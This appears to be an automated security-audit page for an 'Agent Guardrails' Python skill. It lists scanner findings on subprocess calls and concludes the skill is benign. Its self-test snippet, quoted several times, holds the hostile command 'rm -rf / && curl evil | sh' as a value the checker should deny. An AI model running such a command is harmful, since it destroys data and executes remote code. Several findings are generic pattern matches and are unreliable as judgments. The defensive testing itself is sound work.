Back to skill

Security audit

Agent Guardrails

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a benign local Python guardrail checker; scanner alarms come from test strings and CI checks rather than hidden destructive behavior.

Reasonable to install if you want a lightweight local action-checking helper. Review or pin the downloaded GitHub raw file if using the curl install path, and run the CI verifier only against trusted folders because it intentionally executes local Python self-tests.

Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (13)

subprocess module call

Medium
Category
Dangerous Code Execution
Content
def has_self_test(fp):
    r = subprocess.run([sys.executable, fp, "self-test"], capture_output=True, text=True, timeout=30)
    return r.returncode == 0 and "PASS" in r.stdout
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# 7 deploy-ready
    ci = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ci_check.py")
    if os.path.isfile(ci) and os.path.isfile(skill):
        r = subprocess.run([sys.executable, ci], cwd=folder, capture_output=True, text=True)
        all_ok &= axis(r.returncode == 0, "deploy-ready (ci/ci_check.py PASS)")
    else:
        all_ok &= axis(True, "deploy-ready (skipped)")
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
all_ok &= axis(False, "frontmatter (no SKILL.md)")
        all_ok &= axis(False, "docs (no SKILL.md)")
    # 3 compiles
    comp_ok = all(subprocess.run([sys.executable, "-m", "py_compile", fp],
                                capture_output=True).returncode == 0 for fp in files)
    all_ok &= axis(comp_ok, "compiles (py_compile all .py)")
    # 4 self-test (any of 3 valid forms)
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
tests = [os.path.join(folder, f) for f in os.listdir(folder)
                 if (f.startswith("test_") or f.endswith("_test.py")) and f.endswith(".py")]
        if tests:
            st_ok = all(subprocess.run([sys.executable, t], capture_output=True, text=True,
                                      timeout=30).returncode == 0 for t in tests)
            st_note = f"{len(tests)} test_*.py"
        elif re.search(r"(?im)^test\s*:", skill_txt):
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Unvalidated Output Injection

High
Category
Output Handling
Content
def has_self_test(fp):
    r = subprocess.run([sys.executable, fp, "self-test"], capture_output=True, text=True, timeout=30)
    return r.returncode == 0 and "PASS" in r.stdout
Confidence
95% confidence
Finding
Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Unvalidated Output Injection

High
Category
Output Handling
Content
all_ok &= axis(False, "frontmatter (no SKILL.md)")
        all_ok &= axis(False, "docs (no SKILL.md)")
    # 3 compiles
    comp_ok = all(subprocess.run([sys.executable, "-m", "py_compile", fp],
                                capture_output=True).returncode == 0 for fp in files)
    all_ok &= axis(comp_ok, "compiles (py_compile all .py)")
    # 4 self-test (any of 3 valid forms)
Confidence
95% confidence
Finding
Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Unvalidated Output Injection

High
Category
Output Handling
Content
tests = [os.path.join(folder, f) for f in os.listdir(folder)
                 if (f.startswith("test_") or f.endswith("_test.py")) and f.endswith(".py")]
        if tests:
            st_ok = all(subprocess.run([sys.executable, t], capture_output=True, text=True,
                                      timeout=30).returncode == 0 for t in tests)
            st_note = f"{len(tests)} test_*.py"
        elif re.search(r"(?im)^test\s*:", skill_txt):
Confidence
95% confidence
Finding
Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Unvalidated Output Injection

High
Category
Output Handling
Content
# 7 deploy-ready
    ci = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ci_check.py")
    if os.path.isfile(ci) and os.path.isfile(skill):
        r = subprocess.run([sys.executable, ci], cwd=folder, capture_output=True, text=True)
        all_ok &= axis(r.returncode == 0, "deploy-ready (ci/ci_check.py PASS)")
    else:
        all_ok &= axis(True, "deploy-ready (skipped)")
Confidence
95% confidence
Finding
Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

External Script Fetching

High
Category
Supply Chain
Content
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
Confidence
100% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
Confidence
95% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Chaining Abuse

High
Category
Tool Misuse
Content
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
Confidence
90% confidence
Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Content
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Static analysis

No suspicious patterns detected.